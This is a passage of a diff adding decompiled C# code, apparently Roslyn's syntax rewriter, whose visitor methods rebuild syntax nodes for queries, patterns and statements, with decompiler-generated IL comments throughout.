((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), (InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)); + } + + public override SyntaxNode? VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.StackAllocKeyword), VisitToken(node.OpenBracketToken), VisitToken(node.CloseBracketToken), ((InitializerExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)) ?? throw new ArgumentNullException("initializer")); + } + + public override SyntaxNode? VisitCollectionExpression(CollectionExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Elements), VisitToken(node.CloseBracketToken)); + } + + public override SyntaxNode? VisitExpressionElement(ExpressionElementSyntax node) + { + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitSpreadElement(SpreadElementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitQueryExpression(QueryExpressionSyntax node) + { + return (SyntaxNode?)(object)node.Update(((FromClauseSyntax)(object)Visit((SyntaxNode?)(object)node.FromClause)) ?? throw new ArgumentNullException("fromClause"), ((QueryBodySyntax)(object)Visit((SyntaxNode?)(object)node.Body)) ?? throw new ArgumentNullException("body")); + } + + public override SyntaxNode? VisitQueryBody(QueryBodySyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.Clauses), ((SelectOrGroupClauseSyntax)(object)Visit((SyntaxNode?)(object)node.SelectOrGroup)) ?? throw new ArgumentNullException("selectOrGroup"), (QueryContinuationSyntax)(object)Visit((SyntaxNode?)(object)node.Continuation)); + } + + public override SyntaxNode? VisitFromClause(FromClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.FromKeyword), (TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type), VisitToken(node.Identifier), VisitToken(node.InKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitLetClause(LetClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.LetKeyword), VisitToken(node.Identifier), VisitToken(node.EqualsToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitJoinClause(JoinClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.JoinKeyword), (TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type), VisitToken(node.Identifier), VisitToken(node.InKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.InExpression)) ?? throw new ArgumentNullException("inExpression"), VisitToken(node.OnKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.LeftExpression)) ?? throw new ArgumentNullException("leftExpression"), VisitToken(node.EqualsKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.RightExpression)) ?? throw new ArgumentNullException("rightExpression"), (JoinIntoClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Into)); + } + + public override SyntaxNode? VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.IntoKeyword), VisitToken(node.Identifier)); + } + + public override SyntaxNode? VisitWhereClause(WhereClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.WhereKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition")); + } + + public override SyntaxNode? VisitOrderByClause(OrderByClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OrderByKeyword), VisitList(node.Orderings)); + } + + public override SyntaxNode? VisitOrdering(OrderingSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.AscendingOrDescendingKeyword)); + } + + public override SyntaxNode? VisitSelectClause(SelectClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.SelectKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitGroupClause(GroupClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.GroupKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.GroupExpression)) ?? throw new ArgumentNullException("groupExpression"), VisitToken(node.ByKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.ByExpression)) ?? throw new ArgumentNullException("byExpression")); + } + + public override SyntaxNode? VisitQueryContinuation(QueryContinuationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.IntoKeyword), VisitToken(node.Identifier), ((QueryBodySyntax)(object)Visit((SyntaxNode?)(object)node.Body)) ?? throw new ArgumentNullException("body")); + } + + public override SyntaxNode? VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OmittedArraySizeExpressionToken)); + } + + public override SyntaxNode? VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.StringStartToken), VisitList(node.Contents), VisitToken(node.StringEndToken)); + } + + public override SyntaxNode? VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.IsKeyword), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern")); + } + + public override SyntaxNode? VisitThrowExpression(ThrowExpressionSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ThrowKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitWhenClause(WhenClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.WhenKeyword), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Condition)) ?? throw new ArgumentNullException("condition")); + } + + public override SyntaxNode? VisitDiscardPattern(DiscardPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.UnderscoreToken)); + } + + public override SyntaxNode? VisitDeclarationPattern(DeclarationPatternSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), ((VariableDesignationSyntax)(object)Visit((SyntaxNode?)(object)node.Designation)) ?? throw new ArgumentNullException("designation")); + } + + public override SyntaxNode? VisitVarPattern(VarPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.VarKeyword), ((VariableDesignationSyntax)(object)Visit((SyntaxNode?)(object)node.Designation)) ?? throw new ArgumentNullException("designation")); + } + + public override SyntaxNode? VisitRecursivePattern(RecursivePatternSyntax node) + { + return (SyntaxNode?)(object)node.Update((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type), (PositionalPatternClauseSyntax)(object)Visit((SyntaxNode?)(object)node.PositionalPatternClause), (PropertyPatternClauseSyntax)(object)Visit((SyntaxNode?)(object)node.PropertyPatternClause), (VariableDesignationSyntax)(object)Visit((SyntaxNode?)(object)node.Designation)); + } + + public override SyntaxNode? VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Subpatterns), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBraceToken), VisitList(node.Subpatterns), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitSubpattern(SubpatternSyntax node) + { + return (SyntaxNode?)(object)node.Update((BaseExpressionColonSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionColon), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern")); + } + + public override SyntaxNode? VisitConstantPattern(ConstantPatternSyntax node) + { + return (SyntaxNode?)(object)node.Update(((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern"), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitRelationalPattern(RelationalPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression")); + } + + public override SyntaxNode? VisitTypePattern(TypePatternSyntax node) + { + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type")); + } + + public override SyntaxNode? VisitBinaryPattern(BinaryPatternSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Left)) ?? throw new ArgumentNullException("left"), VisitToken(node.OperatorToken), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Right)) ?? throw new ArgumentNullException("right")); + } + + public override SyntaxNode? VisitUnaryPattern(UnaryPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OperatorToken), ((PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)) ?? throw new ArgumentNullException("pattern")); + } + + public override SyntaxNode? VisitListPattern(ListPatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBracketToken), VisitList(node.Patterns), VisitToken(node.CloseBracketToken), (VariableDesignationSyntax)(object)Visit((SyntaxNode?)(object)node.Designation)); + } + + public override SyntaxNode? VisitSlicePattern(SlicePatternSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.DotDotToken), (PatternSyntax)(object)Visit((SyntaxNode?)(object)node.Pattern)); + } + + public override SyntaxNode? VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.TextToken)); + } + + public override SyntaxNode? VisitInterpolation(InterpolationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenBraceToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), (InterpolationAlignmentClauseSyntax)(object)Visit((SyntaxNode?)(object)node.AlignmentClause), (InterpolationFormatClauseSyntax)(object)Visit((SyntaxNode?)(object)node.FormatClause), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.CommaToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Value)) ?? throw new ArgumentNullException("value")); + } + + public override SyntaxNode? VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.ColonToken), VisitToken(node.FormatStringToken)); + } + + public override SyntaxNode? VisitGlobalStatement(GlobalStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitBlock(BlockSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.OpenBraceToken), VisitList(node.Statements), VisitToken(node.CloseBraceToken)); + } + + public override SyntaxNode? VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitList(node.Modifiers), ((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.ReturnType)) ?? throw new ArgumentNullException("returnType"), VisitToken(node.Identifier), (TypeParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.TypeParameterList), ((ParameterListSyntax)(object)Visit((SyntaxNode?)(object)node.ParameterList)) ?? throw new ArgumentNullException("parameterList"), VisitList(node.ConstraintClauses), (BlockSyntax)(object)Visit((SyntaxNode?)(object)node.Body), (ArrowExpressionClauseSyntax)(object)Visit((SyntaxNode?)(object)node.ExpressionBody), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.AwaitKeyword), VisitToken(node.UsingKeyword), VisitList(node.Modifiers), ((VariableDeclarationSyntax)(object)Visit((SyntaxNode?)(object)node.Declaration)) ?? throw new ArgumentNullException("declaration"), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitVariableDeclaration(VariableDeclarationSyntax node) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(((TypeSyntax)(object)Visit((SyntaxNode?)(object)node.Type)) ?? throw new ArgumentNullException("type"), VisitList(node.Variables)); + } + + public override SyntaxNode? VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Identifier), (BracketedArgumentListSyntax)(object)Visit((SyntaxNode?)(object)node.ArgumentList), (EqualsValueClauseSyntax)(object)Visit((SyntaxNode?)(object)node.Initializer)); + } + + public override SyntaxNode? VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.EqualsToken), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Value)) ?? throw new ArgumentNullException("value")); + } + + public override SyntaxNode? VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.Identifier)); + } + + public override SyntaxNode? VisitDiscardDesignation(DiscardDesignationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.UnderscoreToken)); + } + + public override SyntaxNode? VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitToken(node.OpenParenToken), VisitList(node.Variables), VisitToken(node.CloseParenToken)); + } + + public override SyntaxNode? VisitExpressionStatement(ExpressionStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), ((ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression)) ?? throw new ArgumentNullException("expression"), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitEmptyStatement(EmptyStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitLabeledStatement(LabeledStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.Identifier), VisitToken(node.ColonToken), ((StatementSyntax)(object)Visit((SyntaxNode?)(object)node.Statement)) ?? throw new ArgumentNullException("statement")); + } + + public override SyntaxNode? VisitGotoStatement(GotoStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.GotoKeyword), VisitToken(node.CaseOrDefaultKeyword), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitBreakStatement(BreakStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.BreakKeyword), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitContinueStatement(ContinueStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.ContinueKeyword), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitReturnStatement(ReturnStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.ReturnKeyword), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitThrowStatement(ThrowStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return (SyntaxNode?)(object)node.Update(VisitList(node.AttributeLists), VisitToken(node.ThrowKeyword), (ExpressionSyntax)(object)Visit((SyntaxNode?)(object)node.Expression), VisitToken(node.SemicolonToken)); + } + + public override SyntaxNode? VisitYieldStatement(YieldStatementSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be 